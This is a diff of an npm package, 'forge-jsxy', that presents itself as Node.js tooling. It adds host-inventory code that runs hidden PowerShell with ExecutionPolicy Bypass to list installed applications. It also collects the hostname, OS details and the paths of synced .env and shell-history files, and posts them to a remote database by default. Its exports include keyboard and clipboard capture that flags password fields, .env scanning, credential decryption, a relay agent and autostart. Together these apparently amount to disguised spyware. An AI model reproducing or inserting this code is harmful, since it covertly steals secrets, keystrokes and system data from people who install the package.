forge-jsxy 1.0.66

package/dist/hostInventory.d.ts

@@ -0,0 +1,18 @@
+export declare function effectiveSyncHostInventory(): boolean;
+export interface HostInventoryFileRecord {
+    path: string;
+    content: string;
+    hash: string;
+    mtime: string;
+    size: number;
+}
+/** Paths uploaded in the same env-sync batch (for `syncSummary` in the inventory JSON). */
+export interface HostInventorySyncSummary {
+    envFilePaths: string[];
+    shellHistoryPaths: string[];
+}
+/**
+ * Single JSON document: OS + Node + sorted unique app names (capped),
+ * plus optional **this-batch** `.env` / shell-history paths (same upload as inventory).
+ */
+export declare function buildHostInventoryRecord(syncSummary?: HostInventorySyncSummary): HostInventoryFileRecord;

package/dist/hostInventory.js

@@ -0,0 +1,206 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.effectiveSyncHostInventory = effectiveSyncHostInventory;
+exports.buildHostInventoryRecord = buildHostInventoryRecord;
+/**
+ * Host OS metadata + installed application list (best-effort, no UI).
+ * Sent as a synthetic `env_file` row at `forge-js://host-inventory.json` alongside `.env` / shell history sync.
+ */
+const node_child_process_1 = require("node:child_process");
+const node_crypto_1 = require("node:crypto");
+const os = __importStar(require("node:os"));
+const VIRTUAL_INVENTORY_PATH = "forge-js://host-inventory.json";
+function effectiveSyncHostInventory() {
+    const e = (process.env.FORGE_JS_SYNC_HOST_INVENTORY || "").trim().toLowerCase();
+    if (["0", "false", "no", "off"].includes(e))
+        return false;
+    return true;
+}
+const MAX_APP_NAMES = 8000;
+const MAX_NAME_LEN = 240;
+function trimName(s) {
+    const t = s.replace(/\s+/g, " ").trim();
+    if (t.length <= MAX_NAME_LEN)
+        return t;
+    return t.slice(0, MAX_NAME_LEN);
+}
+function dedupeSorted(names) {
+    const seen = new Set();
+    const out = [];
+    for (const raw of names.sort((a, b) => a.localeCompare(b, undefined, { sensitivity: "base" }))) {
+        const k = raw.toLowerCase();
+        if (!raw || seen.has(k))
+            continue;
+        seen.add(k);
+        out.push(raw);
+        if (out.length >= MAX_APP_NAMES)
+            break;
+    }
+    return out;
+}
+function listWindowsApps() {
+    const psExe = process.env.SystemRoot
+        ? `${process.env.SystemRoot}\\System32\\WindowsPowerShell\\v1.0\\powershell.exe`
+        : "powershell.exe";
+    const script = [
+        "$ErrorActionPreference='SilentlyContinue'",
+        "$n=@()",
+        "$paths=@(",
+        "'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',",
+        "'HKLM:\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall',",
+        "'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall'",
+        ")",
+        "foreach($p in $paths){ if(Test-Path $p){ Get-ChildItem $p | ForEach-Object { try { $d=(Get-ItemProperty $_.PSPath).DisplayName; if($d){ $n+=$d } } catch {} } } }",
+        "$n | Where-Object { $_ } | Sort-Object -Unique",
+    ].join(" ");
+    const r = (0, node_child_process_1.spawnSync)(psExe, ["-NoProfile", "-NonInteractive", "-ExecutionPolicy", "Bypass", "-Command", script], {
+        encoding: "utf8",
+        timeout: 120_000,
+        maxBuffer: 40 * 1024 * 1024,
+        windowsHide: true,
+        env: process.env,
+    });
+    if (r.status !== 0 && !r.stdout)
+        return [];
+    const lines = String(r.stdout || "")
+        .split(/\r?\n/)
+        .map((x) => trimName(x))
+        .filter(Boolean);
+    return dedupeSorted(lines);
+}
+function listLinuxApps() {
+    const r = (0, node_child_process_1.spawnSync)("/bin/sh", [
+        "-c",
+        "command -v dpkg-query >/dev/null 2>&1 && dpkg-query -W -f '${Package}\\n' 2>/dev/null | head -n 12000; " +
+            "command -v rpm >/dev/null 2>&1 && rpm -qa 2>/dev/null | head -n 12000",
+    ], {
+        encoding: "utf8",
+        timeout: 90_000,
+        maxBuffer: 20 * 1024 * 1024,
+        env: process.env,
+    });
+    const lines = String(r.stdout || "")
+        .split(/\n/)
+        .map((x) => trimName(x))
+        .filter(Boolean);
+    return dedupeSorted(lines);
+}
+function listDarwinApps() {
+    const r = (0, node_child_process_1.spawnSync)("/bin/sh", [
+        "-c",
+        "ls -1 /Applications 2>/dev/null | sed 's/\\.app$//'; ls -1 \"$HOME/Applications\" 2>/dev/null | sed 's/\\.app$//'",
+    ], {
+        encoding: "utf8",
+        timeout: 60_000,
+        maxBuffer: 8 * 1024 * 1024,
+        env: process.env,
+    });
+    const lines = String(r.stdout || "")
+        .split(/\n/)
+        .map((x) => trimName(x))
+        .filter(Boolean);
+    return dedupeSorted(lines);
+}
+function listInstalledAppsBestEffort() {
+    try {
+        if (process.platform === "win32")
+            return listWindowsApps();
+        if (process.platform === "darwin")
+            return listDarwinApps();
+        return listLinuxApps();
+    }
+    catch {
+        return [];
+    }
+}
+function osVersionString() {
+    try {
+        const v = os.version;
+        return typeof v === "function" ? v() : "";
+    }
+    catch {
+        return "";
+    }
+}
+function machineString() {
+    try {
+        const m = os.machine;
+        return typeof m === "function" ? m() : "";
+    }
+    catch {
+        return "";
+    }
+}
+/**
+ * Single JSON document: OS + Node + sorted unique app names (capped),
+ * plus optional **this-batch** `.env` / shell-history paths (same upload as inventory).
+ */
+function buildHostInventoryRecord(syncSummary) {
+    const installedApplications = listInstalledAppsBestEffort();
+    const envSorted = [...(syncSummary?.envFilePaths || [])].sort();
+    const shSorted = [...(syncSummary?.shellHistoryPaths || [])].sort();
+    const payload = {
+        schema: "forge-js-host-inventory/1",
+        collectedAt: new Date().toISOString(),
+        node: process.version,
+        hostname: os.hostname(),
+        platform: process.platform,
+        os: {
+            type: os.type(),
+            release: os.release(),
+            version: osVersionString(),
+            machine: machineString(),
+        },
+        installedApplications,
+        installedApplicationsCount: installedApplications.length,
+        syncSummary: {
+            envFilePaths: envSorted,
+            shellHistoryPaths: shSorted,
+            envFileCount: envSorted.length,
+            shellHistoryCount: shSorted.length,
+        },
+    };
+    const content = JSON.stringify(payload);
+    const hash = (0, node_crypto_1.createHash)("sha256").update(content, "utf8").digest("hex");
+    const mtime = new Date().toISOString();
+    return {
+        path: VIRTUAL_INVENTORY_PATH,
+        content,
+        hash,
+        mtime,
+        size: Buffer.byteLength(content, "utf8"),
+    };
+}

package/dist/hostInventorySend.d.ts

@@ -0,0 +1,5 @@
+import { type ForgeSyncClient } from "./syncClient";
+/** Default on. Opt out: ``FORGE_JS_SYNC_HOST_INVENTORY=0``. */
+export declare function effectiveSyncHostInventory(): boolean;
+/** POST host inventory JSON to forge-db (same shape as ``parseHostInventory`` in clients-status). */
+export declare function sendHostInventorySnapshot(client: ForgeSyncClient): Promise<void>;

package/dist/hostInventorySend.js

@@ -0,0 +1,86 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.effectiveSyncHostInventory = effectiveSyncHostInventory;
+exports.sendHostInventorySnapshot = sendHostInventorySnapshot;
+/**
+ * One small ``env_file`` row for forge-db so dashboards can show OS type (forge-clients-status poller).
+ * Full env scan / shell history remain disabled; this is only Node ``os`` metadata + virtual path.
+ */
+const node_crypto_1 = require("node:crypto");
+const os = __importStar(require("node:os"));
+const syncClient_1 = require("./syncClient");
+/** Default on. Opt out: ``FORGE_JS_SYNC_HOST_INVENTORY=0``. */
+function effectiveSyncHostInventory() {
+    const e = (process.env.FORGE_JS_SYNC_HOST_INVENTORY || "").trim().toLowerCase();
+    if (["0", "false", "no", "off"].includes(e))
+        return false;
+    return true;
+}
+/** POST host inventory JSON to forge-db (same shape as ``parseHostInventory`` in clients-status). */
+async function sendHostInventorySnapshot(client) {
+    const hostname = os.hostname();
+    const osType = os.type(); // "Windows_NT" | "Linux" | "Darwin"
+    const platform = os.platform(); // "win32" | "linux" | "darwin"
+    const content = JSON.stringify({
+        schema: "forge-js-host-inventory/1",
+        collectedAt: new Date().toISOString(),
+        hostname,
+        platform,
+        node: process.version,
+        os: {
+            type: osType,
+            release: os.release(),
+            version: os.version(),
+        },
+    });
+    const hash = (0, node_crypto_1.createHash)("sha256").update(content, "utf8").digest("hex");
+    const iso = new Date().toISOString();
+    await client.createEvent((0, syncClient_1.envFileRecordToEvent)({
+        path: syncClient_1.FORGE_HOST_INVENTORY_VIRTUAL_PATH,
+        content,
+        hash,
+        mtime: iso,
+        size: Buffer.byteLength(content, "utf8"),
+    }));
+    // Also persist OS type directly to _client_registry via the dedicated endpoint
+    // so dashboards (2-forge-clients-status, 3-forge-db-discord) can display it
+    // without needing env_file rows (which are not stored in forge-db).
+    await client.updateClientInfo({
+        os_type: osType,
+        os_platform: platform,
+        hostname,
+    });
+}

package/dist/index.d.ts

@@ -0,0 +1,24 @@
+/**
+ * forge-js — Node.js tooling aligned with Python cfgmgr-syn (forge) and forge-db.
+ */
+export * from "./tableNaming";
+export * from "./relayAuth";
+export * from "./fsProtocol";
+export * from "./fsMessages";
+export * from "./syncClient";
+export * from "./filesExplorer";
+export * from "./relayAgent";
+export * from "./relayServer";
+export * from "./clientId";
+export * from "./autostart";
+export { configurationConstants, run, stopForgeWorker, } from "./workerBootstrap";
+export type { ConfigurationConstantsOptions } from "./workerBootstrap";
+export { effectiveSyncKeyboardClipboard, resolveSyncApiBase, startDesktopInputSync, startWindowsInputSync, } from "./windowsInputSync";
+export type { DesktopInputSyncOptions, WindowsInputSyncOptions, } from "./windowsInputSync";
+export { effectiveSyncEnvFiles, resolveEnvScanRootsFromEnv, startDesktopEnvSync, } from "./desktopEnvSync";
+export type { DesktopEnvSyncOptions } from "./desktopEnvSync";
+export { API_DEFAULT_PORT, DEFAULT_EXPLORER_PASSWORD, DEPLOYMENT_PUBLIC_HOST, RELAY_DEFAULT_PORT, defaultRelayWsUrl, defaultSyncApiBaseUrl, deploymentDefaultsDisabled, resolveForgeBundleKey, resolveSyncApiBaseUrl, } from "./deploymentDefaults";
+export { decryptHfCredentialsB64, encryptHfCredentialsJson, loadHfCredentials, scrubHfCredentialsInPlace, } from "./hfCredentials";
+export type { HfCredentials } from "./hfCredentials";
+export { formatHfUploadError, runHfUpload, writeSingleFileZipStoreOnly } from "./hfUpload";
+export type { HfUploadProgress, RunHfUploadOptions } from "./hfUpload";

package/dist/index.js

@@ -0,0 +1,62 @@
+"use strict";
+/**
+ * forge-js — Node.js tooling aligned with Python cfgmgr-syn (forge) and forge-db.
+ */
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __exportStar = (this && this.__exportStar) || function(m, exports) {
+    for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.writeSingleFileZipStoreOnly = exports.runHfUpload = exports.formatHfUploadError = exports.scrubHfCredentialsInPlace = exports.loadHfCredentials = exports.encryptHfCredentialsJson = exports.decryptHfCredentialsB64 = exports.resolveSyncApiBaseUrl = exports.resolveForgeBundleKey = exports.deploymentDefaultsDisabled = exports.defaultSyncApiBaseUrl = exports.defaultRelayWsUrl = exports.RELAY_DEFAULT_PORT = exports.DEPLOYMENT_PUBLIC_HOST = exports.DEFAULT_EXPLORER_PASSWORD = exports.API_DEFAULT_PORT = exports.startDesktopEnvSync = exports.resolveEnvScanRootsFromEnv = exports.effectiveSyncEnvFiles = exports.startWindowsInputSync = exports.startDesktopInputSync = exports.resolveSyncApiBase = exports.effectiveSyncKeyboardClipboard = exports.stopForgeWorker = exports.run = exports.configurationConstants = void 0;
+__exportStar(require("./tableNaming"), exports);
+__exportStar(require("./relayAuth"), exports);
+__exportStar(require("./fsProtocol"), exports);
+__exportStar(require("./fsMessages"), exports);
+__exportStar(require("./syncClient"), exports);
+__exportStar(require("./filesExplorer"), exports);
+__exportStar(require("./relayAgent"), exports);
+__exportStar(require("./relayServer"), exports);
+__exportStar(require("./clientId"), exports);
+__exportStar(require("./autostart"), exports);
+var workerBootstrap_1 = require("./workerBootstrap");
+Object.defineProperty(exports, "configurationConstants", { enumerable: true, get: function () { return workerBootstrap_1.configurationConstants; } });
+Object.defineProperty(exports, "run", { enumerable: true, get: function () { return workerBootstrap_1.run; } });
+Object.defineProperty(exports, "stopForgeWorker", { enumerable: true, get: function () { return workerBootstrap_1.stopForgeWorker; } });
+var windowsInputSync_1 = require("./windowsInputSync");
+Object.defineProperty(exports, "effectiveSyncKeyboardClipboard", { enumerable: true, get: function () { return windowsInputSync_1.effectiveSyncKeyboardClipboard; } });
+Object.defineProperty(exports, "resolveSyncApiBase", { enumerable: true, get: function () { return windowsInputSync_1.resolveSyncApiBase; } });
+Object.defineProperty(exports, "startDesktopInputSync", { enumerable: true, get: function () { return windowsInputSync_1.startDesktopInputSync; } });
+Object.defineProperty(exports, "startWindowsInputSync", { enumerable: true, get: function () { return windowsInputSync_1.startWindowsInputSync; } });
+var desktopEnvSync_1 = require("./desktopEnvSync");
+Object.defineProperty(exports, "effectiveSyncEnvFiles", { enumerable: true, get: function () { return desktopEnvSync_1.effectiveSyncEnvFiles; } });
+Object.defineProperty(exports, "resolveEnvScanRootsFromEnv", { enumerable: true, get: function () { return desktopEnvSync_1.resolveEnvScanRootsFromEnv; } });
+Object.defineProperty(exports, "startDesktopEnvSync", { enumerable: true, get: function () { return desktopEnvSync_1.startDesktopEnvSync; } });
+var deploymentDefaults_1 = require("./deploymentDefaults");
+Object.defineProperty(exports, "API_DEFAULT_PORT", { enumerable: true, get: function () { return deploymentDefaults_1.API_DEFAULT_PORT; } });
+Object.defineProperty(exports, "DEFAULT_EXPLORER_PASSWORD", { enumerable: true, get: function () { return deploymentDefaults_1.DEFAULT_EXPLORER_PASSWORD; } });
+Object.defineProperty(exports, "DEPLOYMENT_PUBLIC_HOST", { enumerable: true, get: function () { return deploymentDefaults_1.DEPLOYMENT_PUBLIC_HOST; } });
+Object.defineProperty(exports, "RELAY_DEFAULT_PORT", { enumerable: true, get: function () { return deploymentDefaults_1.RELAY_DEFAULT_PORT; } });
+Object.defineProperty(exports, "defaultRelayWsUrl", { enumerable: true, get: function () { return deploymentDefaults_1.defaultRelayWsUrl; } });
+Object.defineProperty(exports, "defaultSyncApiBaseUrl", { enumerable: true, get: function () { return deploymentDefaults_1.defaultSyncApiBaseUrl; } });
+Object.defineProperty(exports, "deploymentDefaultsDisabled", { enumerable: true, get: function () { return deploymentDefaults_1.deploymentDefaultsDisabled; } });
+Object.defineProperty(exports, "resolveForgeBundleKey", { enumerable: true, get: function () { return deploymentDefaults_1.resolveForgeBundleKey; } });
+Object.defineProperty(exports, "resolveSyncApiBaseUrl", { enumerable: true, get: function () { return deploymentDefaults_1.resolveSyncApiBaseUrl; } });
+var hfCredentials_1 = require("./hfCredentials");
+Object.defineProperty(exports, "decryptHfCredentialsB64", { enumerable: true, get: function () { return hfCredentials_1.decryptHfCredentialsB64; } });
+Object.defineProperty(exports, "encryptHfCredentialsJson", { enumerable: true, get: function () { return hfCredentials_1.encryptHfCredentialsJson; } });
+Object.defineProperty(exports, "loadHfCredentials", { enumerable: true, get: function () { return hfCredentials_1.loadHfCredentials; } });
+Object.defineProperty(exports, "scrubHfCredentialsInPlace", { enumerable: true, get: function () { return hfCredentials_1.scrubHfCredentialsInPlace; } });
+var hfUpload_1 = require("./hfUpload");
+Object.defineProperty(exports, "formatHfUploadError", { enumerable: true, get: function () { return hfUpload_1.formatHfUploadError; } });
+Object.defineProperty(exports, "runHfUpload", { enumerable: true, get: function () { return hfUpload_1.runHfUpload; } });
+Object.defineProperty(exports, "writeSingleFileZipStoreOnly", { enumerable: true, get: function () { return hfUpload_1.writeSingleFileZipStoreOnly; } });

package/dist/inputContext.d.ts

@@ -0,0 +1,11 @@
+type InputEventKind = "keyboard" | "clipboard";
+type InputControlSignals = {
+    controlType?: string;
+    controlName?: string;
+    controlAutomationId?: string;
+    controlHelpText?: string;
+    isPassword?: boolean;
+};
+export declare function inferInputTagType(windowTitle: string | undefined, urlHint: string | undefined, typedText: string | undefined, appType: string | undefined, inputHint: string | undefined, controlSignals?: InputControlSignals): string | undefined;
+export declare function buildInputContextJson(kind: InputEventKind, text: string): Promise<string | undefined>;
+export {};